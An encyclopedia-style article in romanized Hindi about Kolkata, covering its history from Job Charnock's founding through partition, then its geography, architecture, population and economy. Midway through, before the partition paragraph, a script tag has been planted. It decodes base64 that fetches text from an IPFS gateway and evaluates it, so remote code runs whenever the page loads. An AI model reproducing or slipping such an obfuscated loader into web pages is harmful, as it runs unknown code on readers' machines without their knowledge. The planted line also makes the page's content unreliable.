कोलकाता आलेख

kolakata vishay soochi

parichay    itihas    bhoogol    prashasanik vyavastha    arthavyavastha    kala    shiksha    yatayat    paryatan    chitravali    alekh

kolakata alekh
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vivaran	kolakata ka bharat ke itihas mean mahath‍vapoorn sh‍than hai. kolakata shahar bangal ki kha di ke oopar hugali nadi ke poorvi tat par sthit hai.
rajy	pashchim bangal
zila	kolakata
sthapana	san 1690 ee. mean j aaub charnok dvara sthapit
bhaugolik sthiti	uttar- 22°33′ - poorv -88°20′
marg sthiti	kolakata shahar rashh‍triy rajamarg tatha rajh‍y rajamarg se poore desh se ju da hua hai. kolakata s dak marg bhuvaneshh‍var se 468 kilomitar uttar-poorv, patana se 602 kilomitar dakshin-poorv tatha raanchi se 404 kilomitar dakshin-poorv mean sthit hai.
prasiddhi	rasagulla, bangali sa diyaan, taant ki sa diyaan
kab jaean	aktoobar se faravari
kaise pahuanchean	havaee jahaz, rel, bas adi se pahuancha ja sakata hai.
havaee adda	netaji subhash chandr bos aantarrashtriy havaee adda v damadam havaee adda
relave steshan	hav da jankshan, siyaladah jankshan.
bas adda	bas adda, kolakata
yatayat	saikil-riksha, aauto-riksha, mitar-taiksi, siti bas, tram aur metro rel
kya dekhean	paryatak sthal
kahaan thaharean	hotal, atithi grah, dharmashala
kya khayean	rasagulla, bhat
kya kharidean	hathakaragha sooti sa diyaan, resham ke kap de, hash‍tashilh‍p se nirmit vash‍tuean bhi kharid sakate haian.
es.ti.di. kod	033
e.ti.em	lagabhag sabhi
chitr:Map-icon.gif	googal manachitr, kolakata havaee adda
any janakari	vrihad kolakata mean 30 se adhik sangrahalay haian, jo vividh vishayoan par adharit haian. 1814 mean sthapit 'iandiyan myooziyam' bharat mean sabase purana aur apani tarah ka desh ka sabase b da sangrahalay hai. puratattv aur mudravishayak khandoan mean sabase moolyavan sangrah haian.

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kolakata shahar, pashchim bangal rajy ki rajadhani hai aur bhootapoorv british bharat (1772-1912) ki rajadhani tha. kolakata ka upanam dayamand harbar bhi hai. yah bharat ka sabase b da shahar hai aur pramukh bandaragahoan mean se ek haian. kolakata ka purana nam kalakatta tha. 1 janavari, 2001 se kalakatta ka nam adhikarik taur par kolakata hua. kolakata shahar bangal ki kha di ke muhane se 154 kilomitar oopar ko hugali nadi ke poorvi tat par sthit hai, jo kabhi ganga nadi ki mukhy nahar thi. [[chitr:Victoria-Memorial-Kolkata-2.jpg|viktoriya memoriyal, kolakata|left|200px|thumb]] yahaan par jal se bhoomi tak aur nadi se samudr tak jahazoan ki avazahi ke kendr ke roop mean bandaragah shahar vikasit hua. mukhy shahar ka kshetraphal lagabhag 104 varg kilomitar hai, halaanki mahanagariy kshetr kafi b da hai aur lagabhag 1,380 kilomitar mean phaila hai. vanijy, parivahan aur nirman ka shahar kolakata poorvi bharat ka pramukh shahari kendr hai. is shahar ka aangrezi nam kalakatta hai.

• kuchh logoan ke anusar kalikata ki utpatti baangla shabd kalikshetr se huee hai, jisaka arth hai 'kali (devi) ki bhoomi'.
• kuchh kahate haian ki shahar ka nam ek nahar (khal) ke kinare par usaki mool basti hone se p da.
• tisara vichar yah hai ki choona (kali) aur siki huee sipi (kata) ke lie baangla shabdoan se milakar yah nam bana hai, kyoanki yah kshetr paki huee sipi se uchch gunavatta vale choone ke nirman ke lie vikhyat hai.
• ek any mat yah hai ki is nam ki utpatti baangla shabd kilakila (samatal kshetr) se huee hai, jisaka ullekh prachin granthoan mean milata hai.

sthapana

british adhikari j aaub charnok ka kolakata aj ek mahanagar ke roop mean tabh‍dil ho chuka hai. j aaub charanak ne 1690 ee. mean tin gaanvoan kolikata, sutanati tatha govinh‍dapuri namak jagah par kolakata ki nianv rakhi thi. vahi kolakata aj ek bhavh‍y shahar ka roop le chuka hai. kolakata ka bharat ke itihas mean mahath‍vapoorn sh‍than hai. yah kee aitihasik ghatanaoan ka sakshi raha hai. yahaan par hi 1756 ee. mean prasiddh kalakothari ki ghatana ghati thi. isake alava 1757 ee. mean yahian ph‍lasi ka prasiddh yuddh hua tha. isi yuddh ne age chalakar bharat ke itihas ko badal diya. pahale is shahar ka nam kalakatta tha. lekin 2001 ee. mean ise badal kar kolakata kar diya gaya.

itihas

prarambhik kal

kalikata nam ka ullekh mugal badashah akabar (shasan kal, 1556-1605) ke rajasv khate mean aur bangali kavi bipradas (1495) dvara rachit 'manasamangal' mean bhi milata hai. ek british basti ke roop mean kolakata ka itihas 1690 mean british eest iandiya kampani ke ek adhikari jab charnok dvara yahaan par ek vyapar chauki ki sthapana se shuroo hota hai. hugali nadi ke tat par sthit bandaragah ko lekar poorv mean charnok ka mugal samrajy ke adhikariyoan se vivad ho gaya tha aur unhean vah sthan chho dane ke lie vivash kar diya gaya tha. jisake bad unhoanne nadi tat par sthit any sthanoan par svayan ko sthapit karane ke kee asaphal prayas kie. [[chitr:Belur-Math-Kolkata.jpg|thumb|beloor math, kolakata|left|250px]] mugal adhikariyoan ne british kampani ke vanijy se hone vale labh ko n khone ki chah mean jab j aaub charnok ko punah lautane ki anumati di, tab unhoanne kolakata ko apani gatividhiyoan ke kendr ke roop mean chuna. sthal ka chunav savadhanipoorvak kiya gaya pratit hota hai, kyoanki yah pashchim mean hugali nadi, uttar mean jvar nad aur poorv mean lagabhag char kilomitar ki doori par lavaniy jhil dvara sanrakshit tha. nadi ke pashchimi tat par ooanche sthanoan par dach, fraansisi v any pratidvandviyoan ki bastiyaan sthit thian. chooanki yah hugali ke bandaragah par sthit tha, isalie samudr se pahuanchane ke marg ko koee khatara nahian tha. is sthal par nadi chau di aur gahari bhi thi. keval ek hi hani thi ki yah atyant daladali kshetr tha, jisase yah jagah asvasthyakar ho gee. isake atirikt, aangrezoan ke ane ke pahale, tin sthaniy gaanvoan, sutanati, kalikata aur govindapur, jo bad mean samoohik roop mean kolakata kahalane lage, ka chayan un bharatiy vyapariyoan ke dvara basane ke lie kiya gaya tha, jo gad se bhare satagaanv ke bandaragah se pravasit hue the. charnok ke sthal chayan mean in vyapariyoan ki upasthiti bhi kuchh had tak uttaradayi rahi hogi.

1696 mean nikatavarti barddhaman zile mean ek vidroh hone tak mugal prantiy prashasan ka is badhati huee basti ke prati dostana vyavahar ho gaya tha. kampani ke karmachariyoan ne jab vyapar chauki ya faiktri ki qilebandi ki anumati maangi, tab unaki suraksha ki samany shartoan par unhean ijazat de di gee. mugal shasan ne vidroh ko asani se daba diya, kintu upaniveshiyoan ka eeant v mitti se bana surakshatmak dhaancha vaisa hi bana raha aur 1700 mean yah fort viliyam kahalaya. 1698 mean aangrezoan ne ve patr prapt kar lie, jisane unhean tin gaanvoan ke zamiandari adhikar (rajasv sangrahan ka adhikar, vastavik svamitv) kharidane ka visheshadhikar pradan kar diya.

kalakatta ki kal kothari

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20 joon 1756 ko bangal ke navab sirajuddaula dvara nagar par qabza karane aur eest iandiya kanpani ki pratirakshak sena dvara parishad ke ek sadasy j aaun jed h aaulavel ke netritv mean samarpan karane ke bad ghati ghatana mean navab ne shesh bache yooropiy pratirakshakoan ko ek kothari mean band kar diya tha, jisamean anek bandiyoan ki mrityu ho gee thi, yah ghatana bharat mean british samrajyavad ke adarshikaran ka ek sanasanikhej muqadama aur vivad ka vishay bani.

phort viliyam

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bangal mean mugal paddhati ke anusar qazi aparadhik aur divani mamaloan ka nipatara kiya karate the. jabaki zamiandaroan par lagan vasoolane ki zimmedari thi. qazi islami paddhati se nyay karate the, hinduoan ke mamale mean panditoan ka sahayog prapt kiya jata tha. mool ikaee ke roop mean panchayatean qayam thian. qazi ke nirnay ke viruddh qazi-e-sooba ko apil ki ja sakati thi. qazi ka pad vanshanugat hota tha jis ke lie bad mean boli lagane lagi thi. vidhi se anabhijn log nyay kar rahe the. bhrashtachar aur pakshapat ka bolabala tha. 1733 mean qazi ke adhikar zamiandaroan ko de die ge. zamidaroan ne bhi apani svarth siddhi ke atirikt kuchh nahian kiya. zamiandaroan ko sabhi tarah ke nyay ke adhikar die ge the apil soobe ke navab ko ki ja sakati thi lekin ve ine-gine mamaloan mean hi hoti thi. zamiandar nyay ke lie saudebazi karane lage the. samany jan loot ke bhari shikar the. [[chitr:Victoria-Memorial-Kolkata-3.jpg|viktoriya memoriyal, kolakata|thumb|left|250px]] poorvi bharat mean vyapar ke lie eest iandiya kanpani aur j aaub charnok ko yah surakshit v sthayi thikana milana b di upalabdhi thi. yoorop se eshiya tak vyapar ke lie agrasar aangrez vyapariyoan ke lie soorat, muanbee aur madras ke bad poorvi bharat mean sootanati ek aisa keandr mil gaya jahaan eest iandiya kanpani ke numaiande vyapar ke lihaz se karakhane khole aur bad mean phort viliyam ki qilebandi karake apani sthiti mazaboot karane mean saphal hue.

shahar ka vikas

kolakata port trast |thumb|250px 1717 mean mugal badashah farrukhasiyan ne eest iandiya kampani ko 3,000 rupaye varshik bhugatan par vyapar ki anumati de di. is vyavastha ne kolakata ke vikas ko bahut badhava diya. b di sankhya mean bharatiy vyapari shahar mean ekatr hone lage. kampani ke jhande ke niche kampani ke karmachari shulk-mukt niji vyapar karane lage. 1742 mean marathoan ne jab dakshin-pashchim se bangal ke pashchimi­ ziloan mean mugaloan ke viruddh akraman shuroo kiya, tab aangrezoan ne bangal ke navab (shasak) alivardi khaan se shahar ke uttari aur poorvi bhag mean ek khaee khodane ki anumati prapt kar li. yah maratha khaee ke nam se jani gee. halaanki yah basti ke dakshin chhor tak poori tarah nahian ban paee, par isane shahar ki poorvi sima ka nirman kiya. 1756 mean navab ke uttaradhikari, sirajuddaula ne qile par qabza kar liya aur shahar ko loota. bharat mean british shakti ke sansthapakoan mean se ek rabart klaiv aur british nausenadhyaksh charls vatasan ne janavari 1757 mean kolakata par phir se adhikar kar liya. tho de samay ke bad plasi (joon 1757) mean navab har ge. jisake bad bangal mean british raj sunishchit ho gaya. govindapur ke jangaloan ko kat diya gaya aur hugali ki upeksha kar vartaman sthal kolakata par ne fort viliyam ka nirman kiya gaya, jahaan yah british sattarohan ka pratik ban gaya. [[chitr:Marble-Palace-Kolkata.jpg|thumb|marbal pailes, kolakata|left|250px]]

rajadhani

1772 tak kolakata british bharat ki rajadhani nahian bana, us varsh pratham gavarnar-janaral varen hestigz ne prantiy mugal rajadhani murshidabad se sabhi mahattvapoorn karyalayoan ka sthanantaran is shahar mean kiya. 1773 mean banbee aur madras, fort viliyam sthit shasan ke adhin a ge. british qanoon ko lagoo karane vale uchchatam nyayalay ne apana prarambhik kshetradhikar shahar mean maratha khaee (vartaman achary praphull chandr aur jagadish chandr bos margoan) tak lagoo karana prarambh kar diya.

1706 mean kolakata ki janasankhya lagabhag 10,000 se 12,000 thi. 1752 mean yah lagabhag 1,20,000 tak aur 1821 mean yah 1,80,000 tak pahuanchi. shvet (british) nagar ka nirman us bhoomi par kiya gaya, jo kee bar basi aur kee bar uj di thi. british bhag mean itane mahal the ki shahar ka nam hi mahaloan ka shahar p d gaya. british upanagar ke bahar navadhanadhy logoan ke bhavy avasoan ke sath-sath jhop diyoan ke samooh nirmit kie ge. nagar ke vibhinn bhagoan ke nam, jaise kumaratuli (kumharoan ka kshetr) aur saankaripa da (shankh-sip karigaroan ka kshetr) ab bhi alag-thalag vyavasayik jatiyoan ke logoan ko darshate haian, jo badhate hue mahanagar ke nivasi ban ge. do alag-alag prajatiyaan, aangrez aur bharatiy, kolakata mean ek sath nivas karane lagian. thumb|nivedita setu, kolakata|250px us samay kolakata ko asuvidhajanak shahar mana jata tha. s dakean bahut hi kam thian. janakary mean sudhar ke lie l aautari ke madhyam se vitt prabandh ke lie 1814 mean ek l aautari samiti ka gathan kiya gaya, usane halat sudharane ke lie 1814 se 1836 ke bich kee prabhavi kary kie. 1814 mean nigam ki sthapana ki gee. yadyapi 1864, 1867 aur 1870 ke chakravat ne nichale kshetr mean rah rahe garib logoan ko tabah kar diya. kramik charanoan mean jaise-jaise british shakti ka prayadvip mean vistar hota gaya, sampoorn uttar bharat kolakata bandaragah ka prishth kshetr ban gaya. 1835 mean aantarik chuangi shulk samapt kie jane se ek khula bazar nirmit hua aur relave ke nirman (prarambh 1854 mean) ne vyapar evan udyog ke vikas ko aur adhik badhava diya. isi samay kolakata se peshavar (ab pakistan) tak graiand trank rod ko poora kiya gaya. british vyapar, baiankig aur bima vyavasay phale-phoole. kolakata ka bharatiy upakshetr bhi vyavasay ka vyast kendr ban gaya aur bharat ke sabhi bhagoan aur eshiya ke kee any bhagoan ke logoan se bhar gaya. kolakata prayadvip ka bauddhik kendr ban gaya.

20vian shatabdi mean kolakata

20vian sadi mean kolakata ke durbhagy ka uday hua. bharat ke vaisaray l aaurd karzan ne 1905 mean bangal ko vibhajit kiya v dhaka ko poorv bangal aur asam ki rajadhani banaya. vibhajan ko radd karane ke lie tivr andolan kie ge. kintu 1912 mean british bharat ki rajadhani kolakata se hatakar dilli laee gee, jahaan se sarakar apekshakrit shanti se chal sakati thi. 1947 mean bangal ka vibhajan antim prahar tha. chooanki kolakata ki janasankhya badh gee thi, yahaan samajik samasyaean bhi tivr ho geean aur bharat ke lie svashasan ki maang bhi. 1926 mean sampradayik dange hue aur jab 1930 mean mahatma gaandhi ne anyayapoorn qanoonoan ki avajna karane ka ahvan kiya, tab phir se dange hue. dvitiy vishv yuddh ke dauran kolakata bandaragah par hue japani havaee hamaloan se bahut nuqasan hua aur janahani bhi huee. sabase bhayanak sampradayik dange 1946 mean hue, jab british bharat ka vibhajan tay tha aur musalamanoan aur hinduoan ke bich tanav charam par tha.

chitr:Blockquote-open.gif vrihad kolakata mean 30 se adhik sangrahalay haian, jo vividh vishayoan par adharit haian. 1814 mean sthapit 'iandiyan myooziyam' bharat mean sabase purana aur apani tarah ka desh ka sabase b da sangrahalay hai. puratattv aur mudravishayak khandoan mean sabase moolyavan sangrah haian. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> 1947 mean bangal ke bharat aur pakistan ke bich vibhajan se kolakata bahut pichh d gaya, kyoanki yah apane poorv prishthabhag ke ek hisse ka vyapar khokar, keval pashchim bangal ki rajadhani banakar rah gaya. isi samay poorvi pakistan (vartaman baangla desh) se hazaroan sharanarthi kolakata a ge, jisase samajik samasyaean v janasankhya aur bhi badh gee, jo pahale hi chiantajanak anupat mean pahuanch chuki thi. 1960 ke dashak ke madhy tak arthik gatihinata ne nagar ke samajik v rajanitik jivan mean asthirata ko badha diya aur shahar se pooanji ke nikas ko badhava diya. rajy shasan ne kee kampaniyoan ka prabandh apane hathoan mean liya. visheshakar 1980 ke dashak mean b di sankhya mean lok nirman karyakram aur kendrikrit kshetriy yojanaoan ne shahar ki arthik aur samajik sthiti ke sudhar mean yogadan diya.

atit ke jharokhe se

bharat ki bauddhik rajadhani mana jane vala kolakata british shasan ke dauran british bharat ki rajadhani thi, kolakata ko landan ke bad british samrajy ka doosara sabase b da shahar mana jata tha. is shahar ko kisi jamane mean poorab ka moti pukara jata tha. aangrez ise bhale hi 'kailakata' pukarate the lekin bangal aur baangla mean ise hamesha se kolakata ya kolikata ke nam se hi pukara jata raha hai jabaki hindi bhashi isako kalakatta ya kalakatte ke nam se pukarate rahe hai. [[chitr:Howrah-Bridge-Kolkata-2.jpg|thumb|hav da brij, kolakata|left|250px]] samrat akabar ke chuangi dastavejoan aur pandrahavi sadi ke baangla kavi vipradas ki kavitaoan mean is nam ka bar bar ullekh milata hai. lekin phir bhi nam ki utpatti ke bare mean kee tarah ki kahaniyaan mashahoor haian. sabase lokapriy kahani ke anusar hianduoan ki devi kali ke nam se is shahar ke nam ki utpatti huee hai. is shahar ke astitv ka ullekh vyaparik bandaragah ke roop mean chin ke prachin yatriyoan ke yatra vritaant aur pharasi vyapariyoan ke dastavezoan mean bhi ullekh hai. mahabharat mean bhi bangal ke kuchh rajaoan ke nam hai jo kaurav sena ki taraph se yuddh mean shamil huye the. [[chitr:Rabindranath-Tagore.jpg|rabindranath thakur|thumb]] bauddhik virasat se bharapoor kolakata bharatiy svadhinata aandolan mean kendriy bhoomika rah itihas mean apana nam darj karava chuka hai. bharatiy rashtriy kaangres ke sath-sath kee pramukh rajanitik evan saanskritik sansthanoan jaise 'hindoo mela' aur kraantikari sangathan 'yugaantar', 'anushilan' ki sthapana isi shahar mean huee sath hi is shahar ko bharat ki bahut si mahanh hastiyoan jaise praranbhik rashtravadi araviand ghosh, iandira devi chaudharani, vipin chandr pal the. rashtravadiyoan ke prerana ke kendr bindu bane ramkrishna paramahans ke shishy svami vivekanand bhi. bharatiy rashtriy kaangres ke pahale adhyaksh shri vyomesh chanh‍dr banarji aur svaraj ki vaqalat karane vale shri surendranath bainarji bhi the. 19 vi sadi ke uttarardh aur 20 vian shatabdi ke praranbh mean prakhyat baangla sahityakar bankimachandr chatarji jinaka likha anandamath ka git 'vande mataram' aj bharat ka rashtr git hai aur netaji subhashachandr bos, isake alava rashtakavi raviandranath taigor jaise mahanh rachanakar se lekar saik doan svadhinata ke sipahiyoan ka ghar hone ka gaurav prapt hai.

1757 ke bad se is shahar par poori tarah aangrezoan ka prabhutv sthapit ho gaya aur 1850 ke bad se is shahar ka tezise audyogik vikas hona shuroo hua khasakar kap doan ke udyog ka vikas natakiy roop se yahaan badha halaki is vikas ka asar shahar ko chho dakar asapas ke ilakoan mean kahian parilakshit nahian hua. 5 aktoobar 1864 ko samudri toofan ki vajah se kolakata mean buri tarah tabahi hone ke bavajood kolakata adhikaanshat: aniyojit roop se agale dedh sau saloan mean badhata raha aur aj isaki abadi lagabhag 14 miliyan hai. kolakata 1980 se pahale bharat ki sabase zyada abadi vala shahar tha, lekin isake bad muanbee ne isaki jagah li. bharat ki azadi ke samay 1947 mean aur 1971 ke bharat pakistan yuddh ke bad 'poorvi bangal' (ab baangladesh) se yahaan sharanarthiyoan ki badh a gayi jisane is shahar ki arthavyavastha ko buri tarah jhakajhor diya.

As we enter the town, a very expansive Square opens before us, with a large expanse of water in the middle, for the public use… The Square itself is composed of magnificent houses which render Calcutta not only the handsomest town in Asia but one of the finest in the world. L. de Grandpré

bhautik evan manav bhoogol

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shahar ka svaroop

thumb|esplened se kolakata ka drishy|250px upaniveshavadi aangrezoan ke dvara bhavy yooropiy rajadhani ke roop mean abhikalpit kolakata ab bharat ke sabase adhik nirdhan aur sarvadhik janasankhya vale kshetroan mean se ek hai. yah atyadhik vividhataoan aur aantarvirodhoan ke shahar ke roop mean vikasit hua hai. kolakata ko apani alag pahachan pane ke lie tivr yooropiy prabhav ko atmasat karana tha aur aupaniveshik virasat ki simaoan se bahar ana tha. is prakriya mean shahar ne poorv aur pashchim ka ek sanyog bana liya, jise 19vian shatabdi ke kulin bangaliyoan ke jivan karyoan mean abhivyakti mili. is varg ke sabase vishisht vyaktitv the, kavi aur rahasyavadi ravindranath taigor. bharatiy shaharoan mean sabase b da aur sabase adhik jivant yah shahar ajey lagane vali arthik, samajik v rajanitik samasyaoan ke bich phala-phoola hai. yahaan ke nagarikoan ne atyadhik jivantata dikhaee hai, jo kala v sanskriti mean unaki abhiruchi aur ek star ki bauddhik ojasvita mean pradarshit hoti hai. yahaan ki rajanitik jagarukata desh mean anyatr durlabh hai. kolakata ke pustak meloan, kala pradarshaniyoan aur sangit sabhaoan mean jaisi bhi d hoti hai, vaisi bharat ke kisi any shahar mean nahian hoti. divaroan par vad-vivad ka achchha-khasa adan-pradan hota hai, jisake karan kolakata ko ishtaharoan ka shahar kaha jane laga hai.

prabal jivan shakti ke bavajood kolakata shahar mean kee nivasi saanskritik paryavaran se bahut door khasi kharab sthitiyoan mean jivan-yapan karate haian. halaanki shahar ki oorja, sabase pichh di jhop diyoan tak bhi pravahit hoti hai, kyoanki bahut b di sankhya mean kolakatavasi aise logoan ki sahayata gambhiratapoorvak karate haian, jo garib v pi dit logoan ki madad mean jute haian. sankshep mean, kolakata videshiyoan ke sath-sath anek bharatiyoan ke lie bhi rahasyamay bana hua hai. yah navagatoan ke lie paheli hai aur vahaan rahane vale logoan ke man mean ek sthayi lagav utpann karata hai.

bhoo-akriti

shahar ki avasthiti vastav mean shahar ke sthan ke chayan aanshatah usaki asan rakshatmak sthiti aur aanshatah usaki anukool vyaparik sthiti ke karan kiya gaya pratit hota hai. anyatha nimn, daladali, garm v ardr nadi tat par shahar basane ki bahut kam paristhitiyaan upalabdh haian. [[chitr:Howrah-Bridge-Kolkata.jpg|thumb|hav da brij, kolakata|left|250px]] isaki adhikatam ooanchaee samudr ki satah se lagabhag nauan mitar oopar hai. hugali nadi se poorv ki or bhoomi kich d vale aur daladali kshetr ki or dhaloo hoti jati hai. isi tarah ki sthalakriti nadi ke pashchimi tat par hai, jisase nadi ke donoan kinaroan par tin se ath kilomitar chau di patti par mahanagariy kshetr parisimit hai. shahar ke poorvottar kinare par sthit salt lek kshetr ke vikas ne yah darshaya hai ki shahar ka vishesh vistar vyavaharik hai aur madhy kshetr ke poorvi, dakshini v pashchimi bhag mean any vikas pariyojanaean bhi chalaee ja sakati haian. kolakata ke pramukh upanagar haian -

1. hav da (pashchimi tat par)
2. uttar mean baranagar
3. poorvottar mean dakshini damadam
4. dakshin mean dakshin upanagariy nagarapalika (behala)
5. dakshin-pashchim mean gardan rich, sampoorn shahari sankul apas mean samajik-arthik roop se ju da hua hai.

jalavayu

manasoon ki mausami pravritti ke sath kolakata ki jalavayu uposhn katibandhiy hai. adhikatam tapaman 42 digri se. aur nyoonatam tapaman 7 digri se. tak pahuanch jata hai. ausat varshik varsha lagabhag 1,625 mimi hoti hai, jisamean adhikaansh varsha manasoon kal ke joon se sitanbar ke bich hoti hai. ye mahine atyadhik ardr aur kabhi-kabhi umas bhare hote haian. aktoobar v navambar ke dauran varsha kam hoti jati hai. shit rritu ke mahinoan mean, lagabhag navambar ke ant se faravari ke ant tak mausam khushanuma aur varsharahit hota hai. kabhi-kabhi is mausam mean bhor ke samay kohare v ghuandh se kam dikhaee deta hai. isi prakar sham ko kohare ki moti parat chhaee rahati hai. 1950 ke dashak ke prarambhik varshoan se vatavaran mean pradooshan badh gaya hai. karakhane, vahan aur tap bijalighar, jinamean koyala jalaya jata hai, is pradooshan ke pramukh karan haian, kintu logoan ke lie tazi havaean lakar manasooni havaean svachchhata karak ka kam karati haian aur jal pradooshan hatane ko tivrata pradan karati haian. [[chitr:Hooghli-River-Kolkata.jpg|thumb|hugali nadi, kolakata|250px]]

nagar yojana

kolakata ki nagar yojana ka sabase ullekhaniy pahaloo, usaka uttar-dakshin disha mean ayatakar anusthapan hai. kendriy kshetr ke apavad sahit, jahaan pahale yooropiy rahate the, shahar ka betaratib vikas hua hai. kolakata shahar aur hav da upanagar se milakar bane kendriy bhag ke charoan or ke bahari kshetr mean yah betaratib vikas sabase adhik dikhaee p data hai. shahar ki sabhi prashasakiy aur vyavasayik gatividhiyaan b da bazar kshetr ke asapas kendrit hoti haian. jo maidan ke uttar mean ek chhota-sa kshetr hai. isaki vajah se ek dainik avazahi ki vyavastha ka vikas hua, jisase kolakata ki parivahan pranali, upayogitaean aur any nagarik suvidhaoan par atyadhik dabav p da. kolakata mean margoan v s dakoan ka tantr shahar ke aitihasik vikas ko darshata hai. aantarik marg sakare haian. [[chitr:Jain-Temple-Kolkata.jpg|jain mandir, kolakata|thumb|left|250px]] yahaan keval ek drut rajamarg qazi nazarul islam marg hai, jo kolakata se damadam tak jata hai. pramukh s dakean ek jal banati haian, mukhyatah purane yooropiy bhag mean, parantu shesh sthanoan par marg niyojan avyavasthit hai. isaka karan hai, nadi par puloan ka abhav, aur isi vajah se adhikaansh s dakean aur pramukh marg uttar se dakshin ki or jate haian. jin jalamargoan aur naharoan par pul banane ki avashyakata hai, ve bhi marg sanrachana ko prabhavit karane vale mahattvapoorn karak rahe haian.

avas

kolakata shahar mean avas ki bahut kami hai. jitane vyakti kolakata mahanagariy zile ke sansthagat avasoan mean rahate haian, usamean se do-tihaee se bhi adhik log shahar mean rahate haian. nagar ki lagabhag tin-chauthaee avasiy ikaiyoan ka upayog keval rahane ke uddeshy se kiya jata hai. yahaan saik doan bastiyaan ya jhop dapattiyaan haian, jahaan nagar ki lagabhag ek-tihaee janasankhya rahati hai. basti ko adhikarik roop se is prakar paribhashit kiya jata hai, 'kam se kam ek ek d bhoomi ke chhathe bhag par sthit jhop diyoan ka samooh', yahaan ek ek d ke chhathe bhag se bhi kam sthan par nirmit bastiyaan haian. ek ek d ke pandrahavean bhag mean adhikatam jhop diyaan chhoti, vayuruddh aur zyadatar jirn-shirn ek manzila kamare haian. yahaan svasthy suvidhaean bahut kam haian aur khula sthan kafi kam hota hai. sarakar ne ek basti sudhar karyakram prayojit kiya hai.

sthapaty

gaganachumbi imaratean	samakalin kolakata ki rooparekha mean kee sthanoan par gaganachumbi imaratean aur ooanche bahumanzila khand vidyaman haian. nagar-paridrishy tezi se parivartit hua hai.
chaurangi kshetr	madhy kolakata ka chaurangi kshetr, jo kabhi bhavy avasoan ki pankti tha, karyalayoan, hotaloan aur dukanoan mean badal gaya hai.
uttari aur madhy kolakata	uttari aur madhy kolakata mean aj bhi imaratean mukhyatah do ya tin manzil ooanchi hoti haian.
dakshin v dakshin-madhy kolakata	dakshin v dakshin-madhy kolakata mean bahumanzila imaratean adhik prachalit ho gee haian.
smarak	kolakata ke sthapaty smarakoan mean pashchimi prabhav adhik jhalakata hai.
kedalaston h aaul	rajabhavan (rajyapal ka nivas sthan) darbishayar ke kedalaston h aaul ka pratiroop hai.
kl aauth h aaul	uchch nyayalay ipres, beljiyam ke kl aauth h aaul se samy rakhata hai.
taun h aaul	dorik-helenik mandap ke sath taun h aaul yoonani shaili mean hai.
sent p aaul girajaghar	sent p aaul girajaghar sthapaty iando-g aauthik shaili mean hai.
bildiang g aauthik shaili	shirsh par moortiyoan ke sath raitars bildiang g aauthik shaili ka hai.
bharatiy sangrahalay	bharatiy sangrahalay italavi shaili mean hai.
bhavy gumbad	pradhan dakaghar mean bhavy gumbadoan ke sath korithiyaee stambh haian.
shahid minar	shahid minar (aauktaraloni manyoomeant) ke khoobasoorat stambh 50 mitar ooanche haian. isaka adhar misr, stambh siriyaee aur gumbad turki shaili mean hai.
viktoriya memoriyal	viktoriya memoriyal pashchimi shastriy prabhav ke mugal sthapaty ke sath mishran ke prayas ko pradarshit karata hai.
nakhuda masjid	nakhuda masjid, agara ke sikandara mean sthit akabar ke maqabare ke adhar par banaee gee hai.
bi dala taragrih	bi dala taragrih (pleniteriyam), saanchi ke stoop (bauddh avashesh golak) par adharit hai.
pashchim bangal vidhanasabha	pashchim bangal vidhanasabha bhavan adhunik sthapaty shaili ki ek bhavy imarat hai.
ramkrishna mishan saanskritik sansthan	svatantrata pashchatt ke nirman ka sabase mahattvapoorn udaharan, ramkrishna mishan saanskritik sansthan, pashchimottar bharat ki prachin mahal sthapaty shaili mean bana hai.

thumb|220px|dalahauzi skvayar, kolakata

janajivan

kolakata shahar mean janasankhya ka ghanatv bahut adhik, lagabhag 33,000 vyakti prati varg kilomitar hai. shahar ke kee ilaqoan mean bhi dabha d asahaniy anupat mean pahuanch gee hai. kolakata mean lagabhag ek sadi se adhik samay se uchch janasankhya vriddhi dar rahi hai, kintu 1947 mean bharat ke vibhajan aur 1970 ke dashak ke prarambhik varshoan mean hue baangladesh yuddh ne janasankhya ke avakshep ko tezi se badhaya. uttari v dakshini upanagaroan mean b di sharanarthi bastiyaan ekaek ubhar aeean. isake sath hi, doosare rajyoan se b di sankhya mean apravasi, adhikaanshatah p dosi rajy bihar, u disa aur poorvi uttar pradesh se rozagar ki talash mean kolakata a ge. yahaan ki 4/5 bhag se adhik janasankhya hindoo hai. muslim aur eesaee sabase b de alpasankhyak samuday haian, par kuchh sikkh, jain aur bauddh matavalanbi bhi rahate haian. mukhy bhasha baangla hai, lekin urdoo, u diya, tamil, panjabi aur any bhashaean bhi boli jati haian. kolakata ek sarvadeshiy nagar hai; yahaan par rahane vale any samoohoan mean eshiyaee (mukhyatah baanglodeshi aur chini), yooropiy, uttar ameriki aur astraliyaee logoan ki upajatiyaan shamil haian. kolakata mean prajatiy vibhajan british shasan mean prarambh hua, yooropavasi shahar ke madhy mean rahate the aur bharatiy uttar aur dakshin mean rahate the. yah vibhajan ne shahar mean bhi vidyaman hai, halaanki ab vibhajan ke adhar par dharm, bhasha, shiksha aur arthik haisiyat haian. jhuggiyaan aur nimn ay avasiy kshetr sampann kshetroan ke sath-sath hi maujood haian.

arthavyavastha

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[[chitr:Kali-Temple-Kolkata.jpg|thumb|dakshineshvar kali mandir, kolakata|250px]] bharat ke ek mukhy arthik kendr ke roop mean kolakata ki j dean usake udyog, arthik evan vyaparik gatividhiyoan aur mukhy bandaragah ke roop mean usaki bhoomika mean nihit hai; yah mudran, prakashan aur samachar patr vitaran ke sath-sath manoranjanak ka kendr hai. kolakata ke bhitari pradesh ke utpadoan mean koyala, loha, maianganiz, abhrak, petrol, chay aur joot shamil haian. 1950 ke dashak se berozagari ek satat v badhati huee samasya hai. kolakata mean berozagari bahut had tak mahavidyalay shiksha prapt aur lipik v any safedaposh vyavasayoan ke lie prashikshit logoan ki samasya hai.

udyog

